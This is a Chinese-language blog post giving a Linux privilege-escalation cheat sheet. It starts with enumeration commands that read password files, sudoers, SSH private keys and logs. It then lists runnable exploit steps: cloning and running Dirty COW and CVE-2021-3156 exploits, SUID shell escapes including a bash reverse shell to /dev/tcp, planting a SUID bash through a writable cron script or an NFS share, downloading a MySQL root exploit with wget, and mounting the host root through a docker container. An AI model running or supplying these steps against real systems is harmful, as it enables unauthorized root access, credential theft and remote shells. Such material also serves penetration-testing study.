linux提权专题

r囧r小猫 2022-08-28 11:52 208阅读 0赞

### 文章目录 ###

*  常规思路思路
 *  提权前信息收集所需命令
 *   *  内核，操作系统，设备信息
     *  用户和群组
     *  用户权限信息
     *  环境信息
     *  进程和服务
     *  查看以root 运行的进程
     *  查看安装的软件
     *  服务/插件
     *  计划任务
     *  有无明文存放用户密码
     *  有无ssh 私钥
     *  查看与当前机器通信的其他用户或者主机
     *  日志文件
     *  查看安装过的工具
 *  1. 脏牛-cve-2016-5195
 *   *  1.1 exp1
     *  1.2 exp2
 *  2. sudo提权漏洞-cve-2021-3156
 *   *  2.1 利用
 *  3. suid提权
 *   *  使用find命令发现配置SUID的文件
     *  find
     *  less
     *  vim
     *  more
     *  bash
     *  git
 *  4. 利用脚本自动搜索
 *  5. 计划任务
 *  6. mysql提权
 *  7. NFS提权
 *  8. 不需密码可使用sudo执行的命令
 *  9. 第三方应用配置错误提权
 *  其他：docker用户组提权
 *  参考文章

# 常规思路思路 #

内核漏洞  
sudo  
suid  
计划任务  
脚本自动检测

# 提权前信息收集所需命令 #

## 内核，操作系统，设备信息 ##

> uname -a 打印所有可用的系统信息  
> uname -r 内核版本  
> uname -n 系统主机名。  
> uname -m 查看系统内核架构（64位/32位）  
> hostname 系统主机名  
> cat /proc/version 内核信息  
> cat /etc/\*-release 分发信息  
> cat /etc/issue 分发信息  
> cat /proc/cpuinfo CPU信息  
> cat /etc/lsb-release \# Debian  
> cat /etc/redhat-release \# Redhat  
> ls /boot | grep vmlinuz-

## 用户和群组 ##

> cat /etc/passwd 列出系统上的所有用户  
> cat /var/mail/root  
> cat /var/spool/mail/root  
> cat /etc/group 列出系统上的所有组  
> grep -v -E “^\#” /etc/passwd | awk -F: ‘$3 == 0 \{ print $1\}’ 列出所有的超级用户账户  
> whoami 查看当前用户  
> w 谁目前已登录，他们正在做什么  
> last 最后登录用户的列表  
> lastlog 所有用户上次登录的信息  
> lastlog –u %username% 有关指定用户上次登录的信息  
> lastlog |grep -v “Never” 以前登录用户的完

## 用户权限信息 ##

> whoami 当前用户名  
> id 当前用户信息  
> cat /etc/sudoers 谁被允许以root身份执行  
> sudo -l 当前用户可以以root身份执行操作

## 环境信息 ##

> env 显示环境变量  
> set 现实环境变量  
> echo %PATH 路径信息  
> history 显示当前用户的历史命令记录  
> pwd 输出工作目录  
> cat /etc/profile 显示默认系统变量  
> cat /etc/shells 显示可用的shellrc  
> cat /etc/bashrc  
> cat ~/.bash\_profile  
> cat ~/.bashrc  
> cat ~/.bash\_logout

## 进程和服务 ##

> ps aux  
> ps -ef  
> top  
> cat /etc/services

## 查看以root 运行的进程 ##

> ps aux | grep root  
> ps -ef | grep root

## 查看安装的软件 ##

> ls -alh /usr/bin/  
> ls -alh /sbin/  
> ls -alh /var/cache/yum/  
> dpkg -l

## 服务/插件 ##

检查有没有不安全的服务配置，和一些有漏洞的插件。

> cat /etc/syslog.conf  
> cat /etc/chttp.conf  
> cat /etc/lighttpd.conf  
> cat /etc/cups/cupsd.conf  
> cat /etc/inetd.conf  
> cat /etc/apache2/apache2.conf  
> cat /etc/my.conf  
> cat /etc/httpd/conf/httpd.conf  
> cat /opt/lampp/etc/httpd.conf  
> ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

## 计划任务 ##

> crontab -l  
> ls -alh /var/spool/cron  
> ls -al /etc/ | grep cron  
> ls -al /etc/cron\*  
> cat /etc/cron\*  
> cat /etc/at.allow  
> cat /etc/at.deny  
> cat /etc/cron.allow  
> cat /etc/cron.deny  
> cat /etc/crontab  
> cat /etc/anacrontab  
> cat /var/spool/cron/crontabs/root

## 有无明文存放用户密码 ##

> grep -i user \[filename\] \#检查文件中是否有user  
> grep -i pass \[filename\] \#检查文件中是否有pass  
> find , -name “\*.php” -print0 | xargs -0 grep -i -n “var $password” \#查询php文件中含有password的字段

## 有无ssh 私钥 ##

cat ~/.ssh/authorized\_keys  
cat ~/.ssh/identity.pub  
cat ~/.ssh/identity  
cat ~/.ssh/id\_rsa.pub  
cat ~/.ssh/id\_rsa  
cat ~/.ssh/id\_dsa.pub  
cat ~/.ssh/id\_dsa  
cat /etc/ssh/ssh\_config  
cat /etc/ssh/sshd\_config  
cat /etc/ssh/ssh\_host\_dsa\_key.pub  
cat /etc/ssh/ssh\_host\_dsa\_key  
cat /etc/ssh/ssh\_host\_rsa\_key.pub  
cat /etc/ssh/ssh\_host\_rsa\_key  
cat /etc/ssh/ssh\_host\_key.pub  
cat /etc/ssh/ssh\_host\_key

## 查看与当前机器通信的其他用户或者主机 ##

lsof -i  
lsof -i :80  
grep 80 /etc/services  
netstat -antup  
netstat -antpx  
netstat -tulpn  
chkconfig --list  
chkconfig --list | grep 3:on  
last  
w

## 日志文件 ##

cat /var/log/boot.log  
cat /var/log/cron  
cat /var/log/syslog  
cat /var/log/wtmp  
cat /var/run/utmp  
cat /etc/httpd/logs/access\_log  
cat /etc/httpd/logs/access.log  
cat /etc/httpd/logs/error\_log  
cat /etc/httpd/logs/error.log  
cat /var/log/apache2/access\_log  
cat /var/log/apache2/access.log  
cat /var/log/apache2/error\_log  
cat /var/log/apache2/error.log  
cat /var/log/apache/access\_log  
cat /var/log/apache/access.log  
cat /var/log/auth.log  
cat /var/log/chttp.log  
cat /var/log/cups/error\_log  
cat /var/log/dpkg.log  
cat /var/log/faillog  
cat /var/log/httpd/access\_log  
cat /var/log/httpd/access.log  
cat /var/log/httpd/error\_log  
cat /var/log/httpd/error.log  
cat /var/log/lastlog  
cat /var/log/lighttpd/access.log  
cat /var/log/lighttpd/error.log  
cat /var/log/lighttpd/lighttpd.access.log  
cat /var/log/lighttpd/lighttpd.error.log  
cat /var/log/messages  
cat /var/log/secure  
cat /var/log/syslog  
cat /var/log/wtmp  
cat /var/log/xferlog  
cat /var/log/yum.log  
cat /var/run/utmp  
cat /var/webmin/miniserv.log  
cat /var/www/logs/access\_log  
cat /var/www/logs/access.log  
ls -alh /var/lib/dhcp3/  
ls -alh /var/log/postgresql/  
ls -alh /var/log/proftpd/  
ls -alh /var/log/samba/

## 查看安装过的工具 ##

find / -name perl\*  
find / -name python\*  
find / -name gcc\*

# 1. 脏牛-cve-2016-5195 #

exp1：https://github.com/FireFart/dirtycow  
exp2：https://github.com/gbonacini/CVE-2016-5195

适用的linux版本：  
Linux内核 >= 2.6.22

--------------------

版本低于下面的版本则会受到影响

> Centos7 /RHEL7 3.10.0-327.36.3.el7  
> Cetnos6 /RHEL6 2.6.32-642.6.2.el6  
> Ubuntu 16.10 4.8.0-26.28  
> Ubuntu 16.04 4.4.0-45.66  
> Ubuntu 14.04 3.13.0-100.147  
> Debian 8 3.16.36-1+deb8u2  
> Debian 7 3.2.82-1

## 1.1 exp1 ##

git clone https://github.com/FireFart/dirtycow.git
    cd dirtycow
    gcc -pthread dirty.c -o dirty -lcrypt
    ./dirty 123 #创建一个用户FireFart密码为123

## 1.2 exp2 ##

git clone https://github.com/gbonacini/CVE-2016-5195.git
    cd CVE-2016-5195
    make
    ./dcow -s #将root用户的密码改为dirtyCowFun并开启一个交互式root权限的shell

# 2. sudo提权漏洞-cve-2021-3156 #

sudo版本小于1.8.31![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAU2hhbmZlbmdsYW43_size_20_color_FFFFFF_t_70_g_se_x_16]

## 2.1 利用 ##

git clone https://github.com/Rvn0xsy/CVE-2021-3156-plus.git
    cd CVE-2021-3156-plus
    make
    ./exploit "whoami"

# 3. suid提权 #

## 使用find命令发现配置SUID的文件 ##

find / -user root -perm -4000 -print 2>/dev/null  
find / -perm -u=s -type f 2>/dev/null

## find ##

find /bin/ -name ls -exec /bin/nc -lvp123 ;  
find /bin/ -name ls -exec /bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1 ;

## less ##

less /etc/passwd  
!/bin/sh

## vim ##

:set shell =/bin/sh  
:shell

sudo vim -c “!bash”

## more ##

more filepath  
!/bin/sh

## bash ##

bash -p

## git ##

sudo git help status

!/bin/sh

# 4. 利用脚本自动搜索 #

项目地址：https://github.com/mzet-/linux-exploit-suggester  
用法：  
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O search.sh  
./search.sh

![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAU2hhbmZlbmdsYW43_size_20_color_FFFFFF_t_70_g_se_x_16 1]

# 5. 计划任务 #

查看计划任务配置，看是否有我们可以进行编辑的脚本文件，间接实现提权，举例如下，/home/mysqlback.sh就是一个我们可以编辑的但会以root权限运行的脚本：  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAU2hhbmZlbmdsYW43_size_20_color_FFFFFF_t_70_g_se_x_16 2]  
在脚本中添加以下代码：

cp /bin/bash /tmp/shell
    chmod u+s /tmp/shell

计划任务执行后可以获得高权限：  
![在这里插入图片描述][1e9cfb5b1c5849da85152b13fbcef0d2.png]

# 6. mysql提权 #

（1）利用CVE-2016-6663将www-data权限提升为mysql权限

> cd /var/www/html/  
> gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient  
> ./mysql-privesc-race test 123456 localhost testdb

（2）利用CVE-2016-6664将Mysql权限提升为root权限：

> wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh  
> chmod 777 mysql-chowned.sh  
> ./mysql-chowned.sh /var/log/mysql/error.log

# 7. NFS提权 #

条件：受害者服务器开启nfs共享，且开启no\_root\_squash选项

1.首先在受害者及其上执行：sudo showmount -e 10.1.1.233来查看共享目录  
![在这里插入图片描述][8fb569586481435ea7720d06713bc1dd.png]  
2.攻击者在本地以root权限执行以下命令：

sudo mkdir -p /tmp/data
    sudo mount -t nfs 10.1.1.233:/home/bypass /tmp/data
    cp /bin/bash /tmp/data/shell
    chmod u+s /tmp/data/shell

3.回到受害者服务器上：

./tmp/data/shell -p #执行后即可获得root权限

# 8. 不需密码可使用sudo执行的命令 #

sudo -l

![在这里插入图片描述][0d2035d3dc884d5995d10fd65ce1a5d5.png]

# 9. 第三方应用配置错误提权 #

发现有类似于redis未授权的其他漏洞间接提权

# 其他：docker用户组提权 #

如果一个服务器有一个普通的用户，并且这个用户加入了docker组，则这个用户已经是root了。下面看具体操作  
![在这里插入图片描述][eef4f4b994884a379b1080b23f8b3c35.png]

`docker run -v /:/hostOS -i -t chrisfosterelli/rootplease`

![在这里插入图片描述][a9662a6e8f3c411f93b7e6f9813caadd.png]

# 参考文章 #

[Linux提权的几种常用姿势][Linux]

[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAU2hhbmZlbmdsYW43_size_20_color_FFFFFF_t_70_g_se_x_16]: /images/20220828/aeb01eea232f4fb3a500e00ba15600be.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAU2hhbmZlbmdsYW43_size_20_color_FFFFFF_t_70_g_se_x_16 1]: /images/20220828/8935f341d5c445bf9d89cda0aca202e8.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAU2hhbmZlbmdsYW43_size_20_color_FFFFFF_t_70_g_se_x_16 2]: /images/20220828/1fdae47a96e0470d8570fa9627737d30.png
[1e9cfb5b1c5849da85152b13fbcef0d2.png]: /images/20220828/5b28b44a00af4e32a7004debf93d2a9b.png
[8fb569586481435ea7720d06713bc1dd.png]: /images/20220828/4fd17b12d5e142e7a34cfb4938d0bad0.png
[0d2035d3dc884d5995d10fd65ce1a5d5.png]: /images/20220828/c24fb70f7f764034b3b4c2fb4bbf5d61.png
[eef4f4b994884a379b1080b23f8b3c35.png]: /images/20220828/612991b2974449848eaf388974f111bd.png
[a9662a6e8f3c411f93b7e6f9813caadd.png]: /images/20220828/9e8766a267594c7dbf007348b1729176.png
[Linux]: https://www.cnblogs.com/xiaozi/p/14264210.html